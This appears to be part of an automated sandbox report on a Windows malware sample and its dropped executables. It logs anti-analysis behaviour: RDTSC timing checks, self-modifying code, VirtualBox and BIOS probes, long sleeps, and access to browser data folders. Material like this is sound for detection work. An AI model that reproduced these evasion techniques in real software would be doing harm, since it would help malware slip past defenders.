Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 326816 second address: 326887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F856102FBF9h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007F856102FBEBh 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push ebx 0x0000001d push edx 0x0000001e pop edx 0x0000001f pop ebx 0x00000020 popad 0x00000021 pop eax 0x00000022 call 00007F856102FBEEh 0x00000027 or si, 339Eh 0x0000002c pop esi 0x0000002d mov edx, dword ptr [ebp+122D2E24h] 0x00000033 lea ebx, dword ptr [ebp+1245C2ECh] 0x00000039 mov dword ptr [ebp+122D1CF3h], edx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push ecx 0x00000043 jmp 00007F856102FBEAh 0x00000048 pop ecx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 326887 second address: 32688D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 32694D second address: 326953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3453F9 second address: 3453FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3456F2 second address: 3456F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3456F6 second address: 345708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856106A85Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 345B6A second address: 345B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 345B6F second address: 345B87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F856106A85Ch 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 345B87 second address: 345B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 345CD1 second address: 345CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 345CD5 second address: 345CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 345CD9 second address: 345CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F856106A864h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 345CF3 second address: 345D11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF9h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 345E97 second address: 345E9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 317BB5 second address: 317BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 317BB9 second address: 317BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 346BEB second address: 346BF4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 346BF4 second address: 346BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 346D59 second address: 346D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 346D5D second address: 346D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3471D0 second address: 3471D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34E813 second address: 34E817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EDF5 second address: 34EE0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EE0E second address: 34EE14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EE14 second address: 34EE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EE18 second address: 34EE5F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jg 00007F856106A870h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F856106A864h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EE5F second address: 34EE8D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F856102FBE8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007F856102FBEEh 0x00000014 jg 00007F856102FBE8h 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EE8D second address: 34EE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EF69 second address: 34EF74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F856102FBE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EF74 second address: 34EFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jg 00007F856106A85Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 jnp 00007F856106A85Ch 0x00000019 pop ecx 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007F856106A85Fh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 34EFB6 second address: 34EFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3525C5 second address: 3525F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F856106A865h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F856106A860h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3525F3 second address: 352634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856102FBF4h 0x00000009 jc 00007F856102FBE6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jo 00007F856102FC0Bh 0x00000018 pushad 0x00000019 jmp 00007F856102FBF7h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 352634 second address: 35263A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3527A2 second address: 3527AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3527AC second address: 3527B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3527B2 second address: 3527DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 ja 00007F856102FBE6h 0x0000000e ja 00007F856102FBE6h 0x00000014 jg 00007F856102FBE6h 0x0000001a popad 0x0000001b jp 00007F856102FBECh 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 3527DC second address: 3527EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F856106A856h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 352EBF second address: 352ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F856102FBE6h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 352ECF second address: 352ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	RDTSC instruction interceptor: First address: 352ED5 second address: 352EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F856102FBE6h 0x0000000d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 20EA34 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 20E97C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3B5F0C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3B4DC8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3DFE9B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 20E956 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 444CC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Special instruction interceptor: First address: 3DE621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Special instruction interceptor: First address: 4CE91D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Special instruction interceptor: First address: 66B497 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Special instruction interceptor: First address: 669D25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4DE91D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 67B497 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 679D25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Special instruction interceptor: First address: 34EA34 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Special instruction interceptor: First address: 34E97C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Special instruction interceptor: First address: 4F5F0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Special instruction interceptor: First address: 4F4DC8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Special instruction interceptor: First address: 51FE9B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Special instruction interceptor: First address: 34E956 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Special instruction interceptor: First address: 584CC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Special instruction interceptor: First address: 57FC95 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Special instruction interceptor: First address: 3DDC53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Special instruction interceptor: First address: 600F39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Special instruction interceptor: First address: 8E91D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Special instruction interceptor: First address: E2E621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Special instruction interceptor: First address: 22B497 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Special instruction interceptor: First address: 229D25 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Memory allocated: 5330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Memory allocated: 55F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Memory allocated: 5330000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Memory allocated: 5470000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Memory allocated: 5650000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Memory allocated: 54C0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Code function: 2_2_003265B9 rdtsc

2_2_003265B9

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe

Code function: 2_2_0033858A sidt fword ptr [esp-02h]

2_2_0033858A

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 361	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 678	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 8083	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window / User API: threadDelayed 1317	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window / User API: threadDelayed 1081	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window / User API: threadDelayed 1029	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Window / User API: threadDelayed 1042	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Window / User API: threadDelayed 406

Source: C:\Users\user\Desktop\file.exe TID: 7608	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7608	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe TID: 8008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7736	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5660	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5660	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep count: 361 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476	Thread sleep time: -10830000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3052	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3052	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7824	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1364	Thread sleep count: 678 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1364	Thread sleep time: -1356678s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7744	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7744	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1364	Thread sleep count: 8083 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1364	Thread sleep time: -16174083s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7540	Thread sleep count: 1317 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7540	Thread sleep time: -2635317s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7544	Thread sleep count: 1081 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7544	Thread sleep time: -2163081s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7548	Thread sleep count: 1029 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7548	Thread sleep time: -2059029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7560	Thread sleep count: 1042 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 7560	Thread sleep time: -2085042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 8152	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe TID: 5260	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe TID: 3444	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Publishers	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\SolidDocuments	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: skotes.exe, skotes.exe, 00000007.00000002.1951021674.000000000065E000.00000040.00000001.01000000.0000000C.sdmp, 1171a5b648.exe, 0000000A.00000002.2530987485.0000000000561000.00000040.00000001.01000000.0000000F.sdmp, 1171a5b648.exe, 0000001F.00000002.2686101939.0000000000561000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
